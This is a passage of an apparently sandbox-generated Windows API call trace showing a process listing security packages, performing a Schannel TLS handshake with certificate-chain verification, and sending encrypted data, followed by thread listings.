(pv=0x1b3e7490) [0134.483] lstrlenW (lpString="Microsoft Unified Security Protocol Provider") returned 44 [0134.483] CoTaskMemAlloc (cb=0x5c) returned 0x1b403ec0 [0134.484] RtlMoveMemory (in: Destination=0x1b403ec0, Source=0x2c66c2, Length=0x5a | out: Destination=0x1b403ec0) [0134.484] CoTaskMemFree (pv=0x1b403ec0) [0134.484] lstrlenW (lpString="Schannel Security Package") returned 25 [0134.484] CoTaskMemAlloc (cb=0x36) returned 0x1b3e7490 [0134.484] RtlMoveMemory (in: Destination=0x1b3e7490, Source=0x2c671c, Length=0x34 | out: Destination=0x1b3e7490) [0134.484] CoTaskMemFree (pv=0x1b3e7490) [0134.484] lstrlenW (lpString="WDigest") returned 7 [0134.484] CoTaskMemAlloc (cb=0x12) returned 0x1b41eb40 [0134.484] RtlMoveMemory (in: Destination=0x1b41eb40, Source=0x2c6750, Length=0x10 | out: Destination=0x1b41eb40) [0134.484] CoTaskMemFree (pv=0x1b41eb40) [0134.484] lstrlenW (lpString="Digest Authentication for Windows") returned 33 [0134.484] CoTaskMemAlloc (cb=0x46) returned 0x1b4093b0 [0134.484] RtlMoveMemory (in: Destination=0x1b4093b0, Source=0x2c6760, Length=0x44 | out: Destination=0x1b4093b0) [0134.484] CoTaskMemFree (pv=0x1b4093b0) [0134.484] lstrlenW (lpString="TSSSP") returned 5 [0134.484] CoTaskMemAlloc (cb=0xe) returned 0x1b41eb40 [0134.484] RtlMoveMemory (in: Destination=0x1b41eb40, Source=0x2c67a4, Length=0xc | out: Destination=0x1b41eb40) [0134.484] CoTaskMemFree (pv=0x1b41eb40) [0134.484] lstrlenW (lpString="TS Service Security Package") returned 27 [0134.484] CoTaskMemAlloc (cb=0x3a) returned 0x1b4093b0 [0134.484] RtlMoveMemory (in: Destination=0x1b4093b0, Source=0x2c67b0, Length=0x38 | out: Destination=0x1b4093b0) [0134.484] CoTaskMemFree (pv=0x1b4093b0) [0134.484] lstrlenW (lpString="pku2u") returned 5 [0134.484] CoTaskMemAlloc (cb=0xe) returned 0x1b41eb40 [0134.484] RtlMoveMemory (in: Destination=0x1b41eb40, Source=0x2c67e8, Length=0xc | out: Destination=0x1b41eb40) [0134.484] CoTaskMemFree (pv=0x1b41eb40) [0134.484] lstrlenW (lpString="PKU2U Security Package") returned 22 [0134.484] CoTaskMemAlloc (cb=0x30) returned 0x1b3e7490 [0134.484] RtlMoveMemory (in: Destination=0x1b3e7490, Source=0x2c67f4, Length=0x2e | out: Destination=0x1b3e7490) [0134.484] CoTaskMemFree (pv=0x1b3e7490) [0134.484] lstrlenW (lpString="CREDSSP") returned 7 [0134.484] CoTaskMemAlloc (cb=0x12) returned 0x1b41eb40 [0134.484] RtlMoveMemory (in: Destination=0x1b41eb40, Source=0x2c6822, Length=0x10 | out: Destination=0x1b41eb40) [0134.484] CoTaskMemFree (pv=0x1b41eb40) [0134.485] lstrlenW (lpString="Microsoft CredSSP Security Provider") returned 35 [0134.485] CoTaskMemAlloc (cb=0x4a) returned 0x1b429130 [0134.485] RtlMoveMemory (in: Destination=0x1b429130, Source=0x2c6832, Length=0x48 | out: Destination=0x1b429130) [0134.485] CoTaskMemFree (pv=0x1b429130) [0134.485] FreeContextBuffer (in: pvContextBuffer=0x2c6420 | out: pvContextBuffer=0x2c6420) returned 0x0 [0134.492] GetCurrentProcess () returned 0xffffffffffffffff [0134.492] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1c7bcc18 | out: TokenHandle=0x1c7bcc18*=0x4d0) returned 1 [0134.499] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x2ed4010, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x1c7bcb28, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x1c7bcb18, ptsExpiry=0x1c7bcb10 | out: phCredential=0x1c7bcb18, ptsExpiry=0x1c7bcb10) returned 0x0 [0134.505] InitializeSecurityContextW (in: phCredential=0x1c7bcd20, phContext=0x0, pTargetName=0x2ec8c30, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x1c7bcd10, pOutput=0x2ed6758, pfContextAttr=0x1c7bcd08, ptsExpiry=0x1c7bcd00 | out: phNewContext=0x1c7bcd10, pOutput=0x2ed6758, pfContextAttr=0x1c7bcd08, ptsExpiry=0x1c7bcd00) returned 0x90312 [0134.506] FreeContextBuffer (in: pvContextBuffer=0x2d6540 | out: pvContextBuffer=0x2d6540) returned 0x0 [0134.834] send (in: s=0x4d4, buf=0x2ed6828*, len=117, flags=0 | out: buf=0x2ed6828*) returned 117 [0136.012] InitializeSecurityContextW (in: phCredential=0x1c7bcc40, phContext=0x1c7bcef0, pTargetName=0x2ec8c30, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2ed6b38, Reserved2=0x0, phNewContext=0x1c7bcc30, pOutput=0x2ed6b58, pfContextAttr=0x1c7bcc28, ptsExpiry=0x1c7bcc20 | out: phNewContext=0x1c7bcc30, pOutput=0x2ed6b58, pfContextAttr=0x1c7bcc28, ptsExpiry=0x1c7bcc20) returned 0x90312 [0136.013] recv (in: s=0x4d4, buf=0x2ed6c48, len=5, flags=0 | out: buf=0x2ed6c48*) returned 5 [0136.013] recv (in: s=0x4d4, buf=0x2ed6c6d, len=2487, flags=0 | out: buf=0x2ed6c6d*) returned 1357 [0136.013] recv (in: s=0x4d4, buf=0x2ed71ba, len=1130, flags=0 | out: buf=0x2ed71ba*) returned 1130 [0137.592] InitializeSecurityContextW (in: phCredential=0x1c7bcb70, phContext=0x1c7bce20, pTargetName=0x2ec8c30, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2ed76f8, Reserved2=0x0, phNewContext=0x1c7bcb60, pOutput=0x2ed7718, pfContextAttr=0x1c7bcb58, ptsExpiry=0x1c7bcb50 | out: phNewContext=0x1c7bcb60, pOutput=0x2ed7718, pfContextAttr=0x1c7bcb58, ptsExpiry=0x1c7bcb50) returned 0x90312 [0137.592] recv (in: s=0x4d4, buf=0x2ed7808, len=5, flags=0 | out: buf=0x2ed7808*) returned 5 [0137.592] recv (in: s=0x4d4, buf=0x2ed782d, len=4, flags=0 | out: buf=0x2ed782d*) returned 4 [0137.592] InitializeSecurityContextW (in: phCredential=0x1c7bcaa0, phContext=0x1c7bcd50, pTargetName=0x2ec8c30, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2ed7908, Reserved2=0x0, phNewContext=0x1c7bca90, pOutput=0x2ed7928, pfContextAttr=0x1c7bca88, ptsExpiry=0x1c7bca80 | out: phNewContext=0x1c7bca90, pOutput=0x2ed7928, pfContextAttr=0x1c7bca88, ptsExpiry=0x1c7bca80) returned 0x90312 [0137.593] FreeContextBuffer (in: pvContextBuffer=0x292130 | out: pvContextBuffer=0x292130) returned 0x0 [0137.593] send (in: s=0x4d4, buf=0x2ed79f8*, len=326, flags=0 | out: buf=0x2ed79f8*) returned 326 [0137.593] recv (in: s=0x4d4, buf=0x2ed79f8, len=5, flags=0 | out: buf=0x2ed79f8*) returned 5 [0137.818] recv (in: s=0x4d4, buf=0x2ed79fd, len=1, flags=0 | out: buf=0x2ed79fd*) returned 1 [0137.821] InitializeSecurityContextW (in: phCredential=0x1c7bc9d0, phContext=0x1c7bcc80, pTargetName=0x2ec8c30, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2ed7c30, Reserved2=0x0, phNewContext=0x1c7bc9c0, pOutput=0x2ed7c50, pfContextAttr=0x1c7bc9b8, ptsExpiry=0x1c7bc9b0 | out: phNewContext=0x1c7bc9c0, pOutput=0x2ed7c50, pfContextAttr=0x1c7bc9b8, ptsExpiry=0x1c7bc9b0) returned 0x90312 [0137.822] recv (in: s=0x4d4, buf=0x2ed7d40, len=5, flags=0 | out: buf=0x2ed7d40*) returned 5 [0137.822] recv (in: s=0x4d4, buf=0x2ed7d65, len=48, flags=0 | out: buf=0x2ed7d65*) returned 48 [0137.822] InitializeSecurityContextW (in: phCredential=0x1c7bc900, phContext=0x1c7bcbb0, pTargetName=0x2ec8c30, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x2ed7e68, Reserved2=0x0, phNewContext=0x1c7bc8f0, pOutput=0x2ed7e88, pfContextAttr=0x1c7bc8e8, ptsExpiry=0x1c7bc8e0 | out: phNewContext=0x1c7bc8f0, pOutput=0x2ed7e88, pfContextAttr=0x1c7bc8e8, ptsExpiry=0x1c7bc8e0) returned 0x0 [0137.829] QueryContextAttributesW (in: phContext=0x1c7bcb60, ulAttribute=0x4, pBuffer=0x2ed7fa0 | out: pBuffer=0x2ed7fa0) returned 0x0 [0137.829] QueryContextAttributesW (in: phContext=0x1c7bcb60, ulAttribute=0x5a, pBuffer=0x2ed8020 | out: pBuffer=0x2ed8020) returned 0x0 [0137.837] QueryContextAttributesW (in: phContext=0x1c7bca10, ulAttribute=0x53, pBuffer=0x2ed8370 | out: pBuffer=0x2ed8370) returned 0x0 [0138.348] CertDuplicateCRLContext (pCrlContext=0x1b3c3800) returned 0x1b3c3800 [0138.350] CertDuplicateStore (hCertStore=0x1b427130) returned 0x1b427130 [0138.351] CertEnumCertificatesInStore (hCertStore=0x1b427130, pPrevCertContext=0x0) returned 0x1b3c3880 [0138.351] CertDuplicateCRLContext (pCrlContext=0x1b3c3880) returned 0x1b3c3880 [0138.351] CertEnumCertificatesInStore (hCertStore=0x1b427130, pPrevCertContext=0x1b3c3880) returned 0x1b3c3800 [0138.351] CertDuplicateCRLContext (pCrlContext=0x1b3c3800) returned 0x1b3c3800 [0138.351] CertEnumCertificatesInStore (hCertStore=0x1b427130, pPrevCertContext=0x1b3c3800) returned 0x0 [0138.352] CertCloseStore (hCertStore=0x1b427130, dwFlags=0x0) returned 1 [0138.352] CertFreeCRLContext (pCrlContext=0x1b3c3800) returned 1 [0138.512] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x1b427200 [0138.512] CertAddCRLLinkToStore (in: hCertStore=0x1b427200, pCrlContext=0x1b3c3880, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0138.996] CertAddCRLLinkToStore (in: hCertStore=0x1b427200, pCrlContext=0x1b3c3800, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0139.335] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x1b3c3800, pTime=0x1c7bca18, hAdditionalStore=0x1b427200, pChainPara=0x1c7bca20, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x1c7bca10 | out: ppChainContext=0x1c7bca10) returned 1 [0154.087] CertDuplicateCertificateChain (pChainContext=0x1b4435c0) returned 0x1b4435c0 [0154.088] CertDuplicateCRLContext (pCrlContext=0x1b3c3800) returned 0x1b3c3800 [0154.088] CertDuplicateCRLContext (pCrlContext=0x1b457bb0) returned 0x1b457bb0 [0154.089] CertDuplicateCRLContext (pCrlContext=0x1b457f30) returned 0x1b457f30 [0154.089] CertFreeCertificateChain (pChainContext=0x1b4435c0) [0154.090] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x1b4435c0, pPolicyPara=0x1c7bcb98, pPolicyStatus=0x1c7bcb78 | out: pPolicyStatus=0x1c7bcb78) returned 1 [0154.090] SetLastError (dwErrCode=0x0) [0154.094] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x1b4435c0, pPolicyPara=0x1c7bcc70, pPolicyStatus=0x1c7bcc58 | out: pPolicyStatus=0x1c7bcc58) returned 1 [0154.095] CertFreeCertificateChain (pChainContext=0x1b4435c0) [0154.095] CertFreeCRLContext (pCrlContext=0x1b3c3800) returned 1 [0154.098] EncryptMessage (in: phContext=0x1c7bd150, fQOP=0x0, pMessage=0x2edaa00, MessageSeqNo=0x0 | out: pMessage=0x2edaa00) returned 0x0 [0154.098] send (in: s=0x4d4, buf=0x2eda750*, len=101, flags=0 | out: buf=0x2eda750*) returned 101 Thread: id = 45 os_tid = 0x74c Thread: id = 46 os_tid = 0x8e4 Thread: id = 47 os_tid = 0x8d8 [0120.235] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0120.242] ResetEvent (hEvent=0x368) returned 1 Thread: id = 51 os_tid = 0x900 Thread: id = 52 os_tid = 0x904 Thread: id = 53 os_tid = 0xaa4